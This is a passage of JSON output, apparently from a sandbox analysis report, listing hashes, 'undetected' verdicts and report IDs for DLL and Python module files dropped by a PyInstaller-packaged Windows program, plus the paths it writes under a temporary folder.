f47a3def033af1c8f3b1dbc1a56cd27781d3aacf3e3330cb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-core-sysinfo-l1-1-0.dll","sha256":"b203d862ddef1dd62bf623fc866c7f7a9c317c1c2ae30d1f52cb41f955b5698e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-core-sysinfo-l1-2-0.dll","sha256":"2703635d835396afd0f138d7c73751afe7e33a24f4225d08c1690b0a371932c0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-core-timezone-l1-1-0.dll","sha256":"33f4fddc181066fce06b2227bded813f95e94ed1f3d785e982c6b6b56c510c57","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-core-util-l1-1-0.dll","sha256":"6eda016742a6171205a387a14b3c0b331841567740376f56768f8c151724207d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-crt-conio-l1-1-0.dll","sha256":"b762061b688aae679afe788904d2c9970f74a7dac98f3b42463d08f25e483d3f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-crt-convert-l1-1-0.dll","sha256":"ebb2ae5535a64f65daeab8235585114fc9dd2cf1a49f5852d446250b998b6ae4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-crt-environment-l1-1-0.dll","sha256":"17d63275d00bdd8670422b95bd264c532998e0a1b041079e54fce4b6b7a55819","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-crt-filesystem-l1-1-0.dll","sha256":"9a9e2a65a281644e368d0f272b95ba5f6b445d1c35910d06056c5ebeb77402db","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-crt-heap-l1-1-0.dll","sha256":"bab9ac3ec83e380ae51e4295ef3bf2c738627812d3a49d1e713661abbc8dc57a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-crt-locale-l1-1-0.dll","sha256":"bd14c67ea28e21d6257ad780a37122c9b5773f69e693f5db6bffaee4d839526e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-crt-process-l1-1-0.dll","sha256":"f6156b1020380ec4f0e48577ebedaaef5fb1ab1f337d8b4e72e6a33a7567a9cc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-crt-runtime-l1-1-0.dll","sha256":"c5902934d026d7e15fbe9917d474f3322846a41a25e66f4b2b1f758801879f4b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-crt-time-l1-1-0.dll","sha256":"7c7f6393f06de11750adb09cc5698ae55cd9fb27b2e51e207286feb1b5b2b156","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-crt-utility-l1-1-0.dll","sha256":"d8ba5f17b9ffcbf3aeaf3fa1da226832d2fa90f81acce0cd669464e76ce434ac","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"_imagingcms.cp314-win_amd64.pyd","sha256":"358c2378268f96e283c590e45a4c8864df0f5400814f1b84e555336a15484ee3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"_imagingtk.cp314-win_amd64.pyd","sha256":"b4e95439db8008cdede934b11ae8984b48ebf658140cb243d48fe5751dd7b96e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"_asyncio.pyd","sha256":"c833cfdab82da58163acdada02cdb2b92d42bc543e1b5519dbcbe4d3805a98fc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"_bz2.pyd","sha256":"9590a3f4b7c0801cd379341d40bb89b5dc9a4e232c9498b6f3bc6b5e99d4ae7f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"_cffi_backend.cp314-win_amd64.pyd","sha256":"9e99b2184c60f21a88cafc374386ded3559e8694ed7cf111f2869e066d303334","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"_ctypes.pyd","sha256":"adf71d85781a2fe937fcc44c0961498e2cf30849f9863ff7b5f7510817cea952","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"_decimal.pyd","sha256":"9605f332fb52636d77a3125abc7e42ba22b3838dcf136d81f37fe5875cbd62d6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"_elementtree.pyd","sha256":"77707cb19dc91eb634d70f31b21022ee4c6ea5ce834c6952bc56ba00c6fd644d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"_hashlib.pyd","sha256":"9052a85ac9947afbbdfdd62b0cad7501b668e6107832cefaa4b76377d710dae0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"_multiprocessing.pyd","sha256":"7606f4044ffc923eac208f5bc5acb1dea14fe8edf2efe08a63e11177f4c7a016","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"_overlapped.pyd","sha256":"8f35ff35e76a2308ce0a50200fb01b55569f30952098239f7e000f3da1393a61","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"_queue.pyd","sha256":"51a3d8e40b061db4fc77f9a3b18e6c2f912c4edf467e46c95ac325d35f2be4df","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"_socket.pyd","sha256":"11f2ace2a37e59bf0f2fcfcc2523307408fa2e7f0aec561bc7531a8db130a83c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"README.md","sha256":"b3cb053566b6f38c38bdf4822e53f8f8a2a377e05c503fdd69c52e5d1c6c104c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"pywintypes314.dll","sha256":"e62808f40462f8066c8d19811cebd15467de6992b1cb48be5f5903910f5395f7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"}]},{"name":"sqlite3.dll","sha256":"99c296ca2b4372418edbdcbd923ab0df2cdbcf406782694d7376f2b01e5010c9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"}]},{"name":"ucrtbase.dll","sha256":"2e5fb14b7bf8540278f3614a12f0226e56a7cc9e64b81cbd976c6fcf2f71cbfb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"path":"%TEMP%\\_MEI0000052c2\\PIL\\_avif.cp314-win_amd64.pyd","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\PIL\\_imaging.cp314-win_amd64.pyd","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\PIL\\_imagingcms.cp314-win_amd64.pyd","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\PIL\\_imagingtk.cp314-win_amd64.pyd","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\PIL\\_webp.cp314-win_amd64.pyd","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\VCRUNTIME140.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\VCRUNTIME140_1.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\_asyncio.pyd","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\_bz2.pyd","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\_cffi_backend.cp314-win_amd64.pyd","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\_ctypes.pyd","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\_decimal.pyd","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\_elementtree.pyd","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\_hashlib.pyd","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\_lzma.pyd","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\_multiprocessing.pyd","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\_overlapped.pyd","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\_queue.pyd","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\_socket.pyd","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\_sounddevice_data\\portaudio-binaries\\README.md","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\_sounddevice_data\\portaudio-binaries\\libportaudio.dylib","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\_sounddevice_data\\portaudio-binaries\\libportaudio32bit-asio.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\_sounddevice_data\\portaudio-binaries\\libportaudio32bit.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\_sounddevice_data\\portaudio-binaries\\libportaudio64bit-asio.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\_sounddevice_data\\portaudio-binaries\\libportaudio64bit.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\_sounddevice_data\\portaudio-binaries\\libportaudioarm64-asio.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\_sounddevice_data\\portaudio-binaries\\libportaudioarm64.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\_sqlite3.pyd","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\_ssl.pyd","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\_uuid.pyd","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\_wmi.pyd","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\_zstd.pyd","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-core-console-l1-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-core-datetime-l1-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-core-debug-l1-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-core-errorhandling-l1-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-core-fibers-l1-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-core-fibers-l1-1-1.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-core-file-l1-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-core-file-l1-2-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-core-file-l2-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-core-handle-l1-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-core-heap-l1-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-core-interlocked-l1-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-core-kernel32-legacy-l1-1-1.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-core-libraryloader-l1-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-core-localization-l1-2-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-core-memory-l1-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-core-namedpipe-l1-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-core-processenvironment-l1-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-core-processthreads-l1-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-core-processthreads-l1-1-1.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-core-profile-l1-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-core-rtlsupport-l1-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-core-string-l1-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-core-synch-l1-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-core-synch-l1-2-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-core-sysinfo-l1-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-core-sysinfo-l1-2-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-core-timezone-l1-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-core-util-l1-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-crt-conio-l1-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-crt-convert-l1-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-crt-environment-l1-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-crt-filesystem-l1-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-crt-heap-l1-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-crt-locale-l1-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-crt-math-l1-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-crt-private-l1-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-crt-process-l1-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-crt-runtime-l1-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-crt-stdio-l1-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-crt-string-l1-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-crt-time-l1-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\api-ms-win-crt-utility-l1-1-0.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\base_library.zip","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\certifi\\cacert.pem","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\certifi\\py.typed","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\charset_normalizer\\cd.cp314-win_amd64.pyd","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\charset_normalizer\\md.cp314-win_amd64.pyd","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\cryptography-50.0.2.dist-info\\INSTALLER","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\cryptography-50.0.2.dist-info\\METADATA","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\cryptography-50.0.2.dist-info\\RECORD","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\cryptography-50.0.2.dist-info\\REQUESTED","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\cryptography-50.0.2.dist-info\\WHEEL","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\cryptography-50.0.2.dist-info\\licenses\\LICENSE","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\cryptography-50.0.2.dist-info\\licenses\\LICENSE.APACHE","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\cryptography-50.0.2.dist-info\\licenses\\LICENSE.BSD","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\cryptography-50.0.2.dist-info\\sboms\\cryptography-rust.cyclonedx.json","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\cryptography-50.0.2.dist-info\\sboms\\sbom.json","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\cryptography\\hazmat\\bindings\\_rust.pyd","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\cv2\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\cv2\\config-3.py","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\cv2\\config.py","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\cv2\\cv2.pyd","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\cv2\\data\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\cv2\\load_config_py3.py","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\cv2\\mat_wrapper\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\cv2\\misc\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\cv2\\misc\\version.py","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\cv2\\opencv_videoio_ffmpeg500_64.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\cv2\\typing\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\cv2\\utils\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\cv2\\version.py","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"path":"%TEMP%\\_MEI0000052c2\\libcrypto-3.dll","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6